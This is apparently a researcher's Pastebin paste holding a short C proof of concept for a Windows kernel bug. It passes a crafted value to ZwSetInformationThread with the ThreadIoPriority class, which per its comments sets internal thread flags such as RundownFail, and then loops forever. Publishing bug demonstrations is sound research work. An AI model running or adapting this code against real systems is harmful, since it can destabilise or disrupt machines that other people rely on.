Advertisement
waliedassar

Kernel Bug #0 ThreadIOPriority

Jan 23rd, 2013
947
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.84 KB | None | 0 0
  1. //http://waleedassar.blogspot.com
  2. //http://www.twitter.com/waleedassar
  3.  
  4. #define ThreadIoPriority       0x16
  5. int main()
  6. {
  7.     //0xFF3FFF3C;---> No RundownFail, no NeedsWorkingSetAging.
  8.     //0xFF3FFFFC;---> Includes RundownFail & NeedsWorkingSetAging.
  9.     unsigned long prior=0xFF3FFF3C;            
  10.     int ret=ZwSetInformationThread(GetCurrentThread(),ThreadIoPriority,&prior,4);
  11.     if(ret>=0)
  12.     {
  13.         unsigned long priorr=0;
  14.         ret=ZwQueryInformationThread(GetCurrentThread(),ThreadIoPriority,&priorr,4,0);
  15.         printf("Current Thread IO priority is %x\r\n",priorr);
  16.  
  17.         unsigned long xx=0;
  18.         while(1)
  19.         {
  20.             printf("Hey %x\r\n",xx);
  21.             Sleep(1000);
  22.             xx++;
  23.         }
  24.  
  25.         unsigned long xxx=0;
  26.         scanf("%d\r\n",&xxx);
  27.     }
  28.     ExitProcess(0);
  29.     return 0;
  30. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement